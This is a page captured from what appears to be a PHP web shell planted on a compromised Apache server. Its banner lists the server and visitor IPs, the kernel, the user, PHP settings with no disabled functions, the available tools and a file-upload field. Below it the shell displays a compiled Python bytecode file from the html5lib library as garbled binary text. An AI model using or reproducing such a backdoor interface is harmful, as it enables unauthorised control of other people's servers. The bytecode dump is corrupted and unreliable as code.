| Server IP : 217.160.0.135 / Your IP : 216.73.217.85 Web Server : Apache System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64 User : sws1074145052 ( 1074145052) PHP Version : 8.3.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /usr/lib/python3/dist-packages/html5lib/treewalkers/__pycache__/ |
Upload File : |
�
V=�^4 � � � d dl mZmZmZ d dlmZ ddlmZmZm Z g d�Z
ej Zej
Zej Zej Zej Zej ZdZd� e � � Z G d� d e� � Z G d
� de� � ZdS )
� )�absolute_import�division�unicode_literals)�Node� )�
namespaces�voidElements�spaceCharacters) �DOCUMENT�DOCTYPE�TEXT�ELEMENT�COMMENT�ENTITY�UNKNOWN�
TreeWalker�NonRecursiveTreeWalkerz<#UNKNOWN#>� c �X � e Zd ZdZd� Zd� Zd� Zdd�Zd� Zd� Z d � Z
d
� Zdd�Zd
� Z
d� ZdS )r z}Walks a tree yielding tokens
Tokens are dicts that all have a ``type`` field specifying the type of the
token.
c � � || _ dS )zCCreates a TreeWalker
:arg tree: the tree to walk
N)�tree)�selfr s �;/usr/lib/python3/dist-packages/html5lib/treewalkers/base.py�__init__zTreeWalker.__init__ s � � �� � � � c � � t ��N��NotImplementedError)r s r �__iter__zTreeWalker.__iter__# � � �!�!r c � � d|d�S )z�Generates an error token with the given message
:arg msg: the error message
:returns: SerializeError token
�SerializeError��type�data� )r �msgs r �errorzTreeWalker.error&